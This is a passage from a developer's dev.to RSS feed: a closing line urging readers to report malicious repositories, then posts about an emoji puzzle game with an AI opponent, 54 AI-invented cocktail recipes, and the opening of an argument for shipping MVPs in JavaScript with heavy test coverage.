&lt;p&gt;&lt;em&gt;I build MVPs at &lt;a href="https://codecrank.ai" rel="noopener noreferrer"&gt;CodeCrank&lt;/a&gt;. I'm sharing this because the alternative - staying quiet - helps the scammers. Report malicious repositories. Report fake profiles. Make it expensive to be a criminal.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>npm</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Can You Beat AI at This Simple Game?</title>
      <dc:creator>Daniel Tofan</dc:creator>
      <pubDate>Mon, 12 Jan 2026 16:31:57 +0000</pubDate>
      <link>https://dev.to/danieltofan/can-you-beat-ai-at-this-simple-game-i3b</link>
      <guid>https://dev.to/danieltofan/can-you-beat-ai-at-this-simple-game-i3b</guid>
      <description>&lt;p&gt;I built a classic puzzle game with an AI opponent. The rules take 30 seconds to learn. Most people can't beat it on their first try.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Try it yourself:&lt;/strong&gt; &lt;a href="https://collapsibles.web.app" rel="noopener noreferrer"&gt;collapsibles.web.app&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Rules
&lt;/h2&gt;

&lt;p&gt;Click groups of 2+ matching adjacent pieces to remove them. Pieces fall down to fill gaps. Score points based on cluster size.&lt;/p&gt;

&lt;p&gt;That's it. No power-ups, no time limits, no lives.&lt;/p&gt;

&lt;p&gt;The scoring formula: &lt;strong&gt;n × (n-1)&lt;/strong&gt; where n = cluster size.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Cluster Size&lt;/th&gt;
&lt;th&gt;Points&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2 pieces&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3 pieces&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5 pieces&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 pieces&lt;/td&gt;
&lt;td&gt;90&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15 pieces&lt;/td&gt;
&lt;td&gt;210&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A 10-piece cluster is worth 45x a 2-piece cluster. That's the whole game - do you grab small clusters now, or wait for gravity to create bigger ones?&lt;/p&gt;




&lt;h2&gt;
  
  
  The Features
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;30 themes.&lt;/strong&gt; All emoji-based: fruits, animals, fantasy creatures (wizards, unicorns, dragons), sea creatures, space, vehicles, sports, food, drinks, flowers, weather, zodiac signs, geometric shapes, and more. Pick whatever you like looking at - they're all mechanically identical.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fln0jvfjwjks1m8shlod0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fln0jvfjwjks1m8shlod0.png" alt="Collapsibles game board with Holidays theme showing AI hint" width="600" height="1024"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://codecrank.ai/blog/beat-the-ai-game/gameplay-video.webm" rel="noopener noreferrer"&gt;Watch the AI play (22 sec video)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Multiple board sizes.&lt;/strong&gt; Squares (10×10, 12×12, 14×14), tall boards (8×14, 10×16, 12×18), and wide boards (14×8, 16×10, 18×12). Larger boards mean longer games with more strategic depth.&lt;/p&gt;

&lt;p&gt;Note: On phones, the wider boards (14+ columns) aren't available - they'd be too cramped to play comfortably. The game filters options based on your screen size.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AI opponent.&lt;/strong&gt; Watch mode lets the AI play while you observe. Useful for learning, or just satisfying to watch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hint system.&lt;/strong&gt; Turn on hints and the game highlights the cluster the AI thinks you should play next. It's a preview of what the AI would do in your position.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;High scores.&lt;/strong&gt; Here's the catch - if you use hints, you can't set a high score. Each board size tracks scores separately, and the leaderboard only counts games where you played without help. So you can use hints to learn, or you can compete for high scores. Not both.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;9-step tutorial.&lt;/strong&gt; First time playing, you'll get an interactive tutorial that walks through the mechanics. You can skip it or restart it anytime from the help button.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PWA.&lt;/strong&gt; Install it on your phone or desktop with a proper app icon. Works offline. No app store needed - just click "Add to Home Screen" in your browser.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Challenge
&lt;/h2&gt;

&lt;p&gt;Beat the AI. Any board size.&lt;/p&gt;

&lt;p&gt;High scores are tracked separately for you and the AI on every board configuration. Pick your favorite size, play a few rounds (starting positions are random), and see if you can outscore the machine.&lt;/p&gt;

&lt;p&gt;The AI is hard to beat, but not impossible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://collapsibles.web.app" rel="noopener noreferrer"&gt;Play now&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Tech
&lt;/h2&gt;

&lt;p&gt;Built with Vue 3 and Quasar. Sounds use Web Audio API - no audio files to download. High scores save to localStorage. The whole thing runs client-side with no backend.&lt;/p&gt;

&lt;p&gt;It's a PWA, so you can install it on your phone and play offline.&lt;/p&gt;

&lt;p&gt;105+ Playwright tests ensure the responsive design actually works across screen sizes. I built this partly as a testing ground for animation patterns we use in client projects.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Would Make This Better?
&lt;/h2&gt;

&lt;p&gt;This started as a side project, but if there's interest, I'd build more.&lt;/p&gt;

&lt;p&gt;Some ideas I've considered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Difficulty levels for the AI&lt;/li&gt;
&lt;li&gt;Daily challenges (same starting board for everyone)&lt;/li&gt;
&lt;li&gt;Undo button (limited uses)&lt;/li&gt;
&lt;li&gt;Multiplayer mode&lt;/li&gt;
&lt;li&gt;Achievement system&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What would you actually use? What's missing?&lt;/p&gt;

&lt;p&gt;Drop a comment - I read them all.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Built by &lt;a href="https://dctsoft.com" rel="noopener noreferrer"&gt;DCTSoft&lt;/a&gt;. Play the game: &lt;a href="https://collapsibles.web.app" rel="noopener noreferrer"&gt;collapsibles.web.app&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://codecrank.ai/blog/beat-the-ai-game/" rel="noopener noreferrer"&gt;codecrank.ai/blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>gamedev</category>
      <category>ai</category>
      <category>pwa</category>
    </item>
    <item>
      <title>I Asked AI to Invent 54 Cocktails</title>
      <dc:creator>Daniel Tofan</dc:creator>
      <pubDate>Mon, 29 Dec 2025 16:30:02 +0000</pubDate>
      <link>https://dev.to/danieltofan/i-asked-ai-to-invent-54-cocktails-4a7k</link>
      <guid>https://dev.to/danieltofan/i-asked-ai-to-invent-54-cocktails-4a7k</guid>
      <description>&lt;p&gt;&lt;em&gt;Some recipes only a chemist could love. Others you might actually try.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;It's New Year's Eve week, and you're probably thinking about cocktails. So am I.&lt;/p&gt;

&lt;p&gt;But instead of browsing Pinterest for the same mojito variations, I ran an experiment: What happens when you ask AI to &lt;em&gt;invent&lt;/em&gt; cocktails that have never existed? Not just generate pretty pictures - actually create new recipes, name them, describe the flavor profiles, and visualize what they'd look like.&lt;/p&gt;

&lt;p&gt;As a chemist by training, I was especially curious what AI would do with "Molecular Mixology" - the category involving spherification, nitrogen foams, and techniques that require actual lab equipment. Would it understand the science? Would the recipes make sense?&lt;/p&gt;

&lt;p&gt;Spoiler: It understood the theory beautifully. The execution instructions got... creative.&lt;/p&gt;

&lt;p&gt;Here are 54 AI-invented cocktails across 6 categories. Some are genuinely brilliant. Some are recipes only a chemist could love. All of them look stunning.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Six Categories
&lt;/h2&gt;

&lt;p&gt;I organized the experiment into six visual themes, each with 9 drinks. The AI had to invent recipes, flavor profiles, garnishes, and glassware recommendations for each.&lt;/p&gt;

&lt;h3&gt;
  
  
  🌴 Tropical Exotics
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7jrpoe8a8pvc72jmyr8j.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7jrpoe8a8pvc72jmyr8j.jpg" alt="Tropical Exotics" width="800" height="1006"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Carved coconut shells, pineapple vessels, and colors that scream "I'm on vacation." The AI nailed this category - every recipe is plausible, and several are genuinely inventive. The &lt;strong&gt;Mango Lassi Margarita&lt;/strong&gt; combines Indian yogurt drinks with Mexican tequila, and it actually makes sense.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://mixology.codecrank.ai/?category=tropical" rel="noopener noreferrer"&gt;Browse all 9 Tropical drinks →&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  🔥 Smoke &amp;amp; Fire
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbzyemydgqj9lujwqwlsj.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbzyemydgqj9lujwqwlsj.jpg" alt="Smoke &amp;amp; Fire" width="800" height="1006"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Flames, dry ice fog, burning sage garnishes. This is where the AI got theatrical. The &lt;strong&gt;Alchemist's Elixir&lt;/strong&gt; uses butterfly pea flower to create a color-changing cocktail - purple to pink as you add citrus. That's real chemistry happening in your glass.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://mixology.codecrank.ai/?category=smoke-fire" rel="noopener noreferrer"&gt;Browse all 9 Smoke &amp;amp; Fire drinks →&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  🌈 Vibrant Colors
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyyxnb8ibh9agggd24rkz.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyyxnb8ibh9agggd24rkz.jpg" alt="Vibrant Colors" width="800" height="1006"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Instagram-worthy, electric colors from natural ingredients. The &lt;strong&gt;Butterfly Pea Gin Fizz&lt;/strong&gt; and &lt;strong&gt;Matcha Green Tea Cocktail&lt;/strong&gt; prove that you don't need artificial dyes to make drinks pop. Beetroot, turmeric, dragon fruit - the AI found every naturally colorful ingredient.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://mixology.codecrank.ai/?category=vibrant-colors" rel="noopener noreferrer"&gt;Browse all 9 Vibrant drinks →&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  💎 Crystal &amp;amp; Ice
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp8s4vypb1k21fbthg21j.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp8s4vypb1k21fbthg21j.jpg" alt="Crystal &amp;amp; Ice" width="800" height="1006"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hand-carved ice sculptures, crystal-clear spheres, elegant minimalism. The &lt;strong&gt;Diamond Ice Sphere Martini&lt;/strong&gt; and &lt;strong&gt;Mountain Peak Manhattan&lt;/strong&gt; showcase drinks where the ice is the star. If you've ever wanted to learn ice carving, this category will inspire you.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://mixology.codecrank.ai/?category=crystal-ice" rel="noopener noreferrer"&gt;Browse all 9 Crystal &amp;amp; Ice drinks →&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  🌿 Garden Fresh
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj9v9z9xyo0yl1jm0j50t.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj9v9z9xyo0yl1jm0j50t.jpg" alt="Garden Fresh" width="800" height="1006"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Herbs, edible flowers, farm-to-glass aesthetics. The &lt;strong&gt;Rosemary Grapefruit Fizz&lt;/strong&gt; calls for a "12-inch rosemary sprig for dramatic effect." The AI understood that sometimes the garnish IS the drink.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://mixology.codecrank.ai/?category=garden-fresh" rel="noopener noreferrer"&gt;Browse all 9 Garden Fresh drinks →&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  ⚗️ Molecular Mixology
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3yq9w9vlee0z7o6ee4u3.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3yq9w9vlee0z7o6ee4u3.jpg" alt="Molecular Mixology" width="800" height="1006"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And here's where my chemistry background got excited... and then amused.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://mixology.codecrank.ai/?category=molecular" rel="noopener noreferrer"&gt;Browse all 9 Molecular drinks →&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Hits - Actually Try These
&lt;/h2&gt;

&lt;p&gt;Not every AI-generated recipe is weird. Some are genuinely brilliant. Here are three I'd actually make:&lt;/p&gt;

&lt;h3&gt;
  
  
  Mango Lassi Margarita
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxb247sqmdxukm9omdl8r.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxb247sqmdxukm9omdl8r.jpg" alt="Mango Lassi Margarita" width="800" height="1006"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The fusion:&lt;/strong&gt; Indian mango lassi meets Mexican margarita. Yogurt, cardamom, tequila, Tajín rim.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt; The creamy yogurt tempers the tequila bite. Cardamom adds unexpected warmth. It's the kind of combination a human bartender might never try, but AI just went for it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ingredients:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;2 oz tequila blanco&lt;/li&gt;
&lt;li&gt;1 cup fresh mango chunks&lt;/li&gt;
&lt;li&gt;¼ cup plain Greek yogurt&lt;/li&gt;
&lt;li&gt;1 oz fresh lime juice&lt;/li&gt;
&lt;li&gt;½ oz agave nectar&lt;/li&gt;
&lt;li&gt;¼ tsp ground cardamom&lt;/li&gt;
&lt;li&gt;Tajín rim&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://mixology.codecrank.ai/drinks/mango-lassi-margarita/" rel="noopener noreferrer"&gt;Full recipe →&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The Alchemist's Elixir
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftpp2u5ygumn6om7alpij.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftpp2u5ygumn6om7alpij.jpg" alt="Alchemist's Elixir" width="800" height="1006"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The chemistry:&lt;/strong&gt; Butterfly pea flower creates a deep purple base. Add citrus (lemon juice), and the pH change turns it pink. You watch the transformation happen.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt; This is actual chemistry you can drink. The color change is dramatic, the elderflower adds sophistication, and you look like a wizard making it. (The geode vessel in the image is optional - no geology day trips required.)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://mixology.codecrank.ai/drinks/the-alchemists-elixir/" rel="noopener noreferrer"&gt;Full recipe →&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Cilantro Jalapeño Margarita
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fblrm2dwdtr433lutdmnv.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fblrm2dwdtr433lutdmnv.jpg" alt="Cilantro Jalapeño Margarita" width="800" height="1006"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The reality check:&lt;/strong&gt; This is already on menus at high-end bars. The AI didn't invent something crazy here - it recognized a winning combination that exists in the real world.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt; Bright green color, fresh herb flavor, jalapeño heat that builds. It's a legitimate cocktail that happens to photograph beautifully.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://mixology.codecrank.ai/drinks/cilantro-jalapeno-margarita/" rel="noopener noreferrer"&gt;Full recipe →&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Misses - Recipes Only a Chemist Could Love
&lt;/h2&gt;

&lt;p&gt;Now for the molecular mixology category. As a chemist, I appreciated the ambition. As someone who owns a normal kitchen, I had questions.&lt;/p&gt;

&lt;h3&gt;
  
  
  "Use edible bubble solution kit"
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;Champagne Bubble Sphere&lt;/strong&gt; recipe instructs you to:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Use edible bubble solution kit to create 3-4 bubbles (flavored with champagne)"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Where exactly do you purchase this kit? How do you "flavor" a bubble? The AI knows these things exist but treats them like common household items.&lt;/p&gt;

&lt;h3&gt;
  
  
  "Slowly pour liquid nitrogen"
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;Liquid Nitrogen Mudslide&lt;/strong&gt; casually mentions:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"SLOWLY pour liquid nitrogen into bowl while stirring constantly"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ah yes, let me grab the liquid nitrogen from next to the milk in my fridge. The recipe does include safety warnings about "insulated gloves and goggles," which I appreciate. But the assumption that home bartenders have access to cryogenic fluids is... optimistic.&lt;/p&gt;

&lt;p&gt;On the bright side, publishing this on Monday gives you two full days to contact your local liquid nitrogen dealer before New Year's Eve. You're welcome.&lt;/p&gt;

&lt;h3&gt;
  
  
  Finally, measurements I understand
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;Gin &amp;amp; Tonic Caviar Spheres&lt;/strong&gt; recipe includes:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"For spheres: 250mL gin, 2g sodium alginate, 5g calcium chloride in 500mL water"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As a chemist, this is the first recipe that actually makes sense to me. Specific gram measurements! Proper ratios! This would work. You'd just need to order sodium alginate and calcium chloride online first. And own a kitchen scale that measures in grams. And have 2 hours for the spherification process.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Honest Take
&lt;/h3&gt;

&lt;p&gt;AI understands cocktail &lt;em&gt;theory&lt;/em&gt; beautifully - flavor profiles, ingredient pairings, presentation concepts, even the chemistry behind molecular techniques.&lt;/p&gt;

&lt;p&gt;But molecular mixology requires equipment most people don't have next to the blender. The AI treats "spherification kit" and "nitrogen charger" like they're as common as a cocktail shaker.&lt;/p&gt;

&lt;p&gt;As a chemist, I appreciated the accuracy. As a home bartender, I'll stick to the Mango Lassi Margarita.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Images - The Unexpected Win
&lt;/h2&gt;

&lt;p&gt;Here's what surprised me most: the images are genuinely beautiful.&lt;/p&gt;

&lt;p&gt;Every one of these 54 cocktails has an AI-generated image that looks like professional food photography. The lighting, the condensation on the glasses, the garnish placement - it's all there.&lt;/p&gt;

&lt;p&gt;Finding the right prompts and the right model took experimentation. I'm keeping the specific model mysterious for now, but the results speak for themselves. The images sell the drinks even when the recipes get weird.&lt;/p&gt;

&lt;p&gt;If you're working on a project that needs AI-generated food or beverage imagery, &lt;a href="https://codecrank.ai/contact" rel="noopener noreferrer"&gt;feel free to reach out&lt;/a&gt;. Happy to share what I learned.&lt;/p&gt;




&lt;h2&gt;
  
  
  Try Them - And Tell Me What's Next
&lt;/h2&gt;

&lt;p&gt;All 54 cocktails are live at &lt;a href="https://mixology.codecrank.ai" rel="noopener noreferrer"&gt;mixology.codecrank.ai&lt;/a&gt;. Browse by category, read the full recipes, and decide which ones you'd actually attempt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But here's what I really want to know:&lt;/strong&gt; What would make this more useful?&lt;/p&gt;

&lt;p&gt;This started as a creative experiment. If there's genuine interest, I'd love to hear what would turn it into something you'd actually use for your New Year's Eve party or home bar:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Real ingredient substitutions for hard-to-find items?&lt;/li&gt;
&lt;li&gt;Difficulty ratings (easy / intermediate / "you need lab equipment")?&lt;/li&gt;
&lt;li&gt;Actual molecular techniques explained step-by-step?&lt;/li&gt;
&lt;li&gt;Shopping lists that link to where to buy ingredients?&lt;/li&gt;
&lt;li&gt;A "make me a drink" quiz based on your mood?&lt;/li&gt;
&lt;li&gt;Something I haven't thought of?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Drop a comment with your ideas. The best suggestions might actually get built.&lt;/p&gt;




&lt;h2&gt;
  
  
  Happy New Year
&lt;/h2&gt;

&lt;p&gt;Whether you attempt the Mango Lassi Margarita or just enjoy scrolling through 54 beautiful AI-generated drinks, I hope this adds some fun to your holiday.&lt;/p&gt;

&lt;p&gt;AI makes a great creative collaborator. It'll invent combinations humans might never try. It'll visualize drinks that don't exist. It'll even write accurate spherification instructions.&lt;/p&gt;

&lt;p&gt;Just don't expect it to tell you where to buy liquid nitrogen.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cheers to 2026.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;&lt;a href="https://danieltofan.ai" rel="noopener noreferrer"&gt;Daniel Tofan&lt;/a&gt; is a software engineer and former chemist who builds AI-powered web applications at &lt;a href="https://codecrank.ai" rel="noopener noreferrer"&gt;CodeCrank&lt;/a&gt;. The Mixology demo was built to explore AI's creative potential - and to see if AI understands chemistry as well as it claims.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>creative</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>JavaScript vs TypeScript for MVPs: Why We Ship Without Types (And What We Use Instead)</title>
      <dc:creator>Daniel Tofan</dc:creator>
      <pubDate>Mon, 22 Dec 2025 16:46:11 +0000</pubDate>
      <link>https://dev.to/danieltofan/javascript-vs-typescript-for-mvps-why-we-ship-without-types-and-what-we-use-instead-4ii4</link>
      <guid>https://dev.to/danieltofan/javascript-vs-typescript-for-mvps-why-we-ship-without-types-and-what-we-use-instead-4ii4</guid>
      <description>&lt;p&gt;We've shipped 10+ MVPs in JavaScript, not TypeScript. Before you close this tab in disgust, hear me out - this isn't about laziness or ignorance. We cut our teeth on Java 1.4 and strongly typed languages. We understand type safety. We've made an informed choice to skip it for MVPs, and we have the data to back it up.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Debate Matters for MVPs
&lt;/h2&gt;

&lt;p&gt;The TypeScript vs JavaScript debate usually devolves into ideology. TypeScript advocates point to compile-time safety. JavaScript defenders cite development speed. Both sides talk past each other because they're optimizing for different outcomes.&lt;/p&gt;

&lt;p&gt;For MVPs specifically, the calculus is different. You're not building software that needs to last 10 years with 50 engineers maintaining it. You're validating whether anyone wants what you're building. Speed to market matters more than long-term maintainability - because 90% of MVPs won't have a long term.&lt;/p&gt;

&lt;p&gt;According to CB Insights, 42% of startups fail because there's no market need. Spending an extra week on type safety while your competitor captures the market is optimizing the wrong thing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Our Safety Net: 90%+ Test Coverage
&lt;/h2&gt;

&lt;p&gt;Here's the thing - we don't skip TypeScript and cross our fingers. We skip TypeScript because we have something better for catching bugs in MVPs: comprehensive test coverage.&lt;/p&gt;

&lt;p&gt;Real numbers from our published projects:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;New education platform:&lt;/strong&gt; 2,000+ E2E tests covering every user interaction&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Internal tools:&lt;/strong&gt; 90-99% coverage as a standard&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Across all demos:&lt;/strong&gt; Thousands of assertions that run before every deploy&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This isn't optional. Test coverage is a release gate. No green tests, no deploy. We've been doing this long enough that it's not a philosophy anymore - it's just how we work.&lt;/p&gt;

&lt;p&gt;What does 90%+ coverage actually feel like? Last week we renamed 10 Vue components across a codebase. In a project without tests, that's a terrifying refactor - you're never quite sure what you broke. With 135 tests passing, we shipped with confidence. The tests told us exactly what worked and what didn't.&lt;/p&gt;

&lt;p&gt;We also use TDD for complex logic. Recently, writing tests first revealed a routing bug that would have been a nightmare to debug in production. The test failed before we even ran the app. That's the kind of safety net that lets us move fast without breaking things.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Tests Catch That Types Don't
&lt;/h2&gt;

&lt;p&gt;TypeScript catches a specific class of errors: variable type mismatches, wrong argument types, &lt;code&gt;undefined is not a function&lt;/code&gt;. These are real bugs, and catching them at compile time is genuinely useful.&lt;/p&gt;

&lt;p&gt;But here's what TypeScript doesn't catch:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
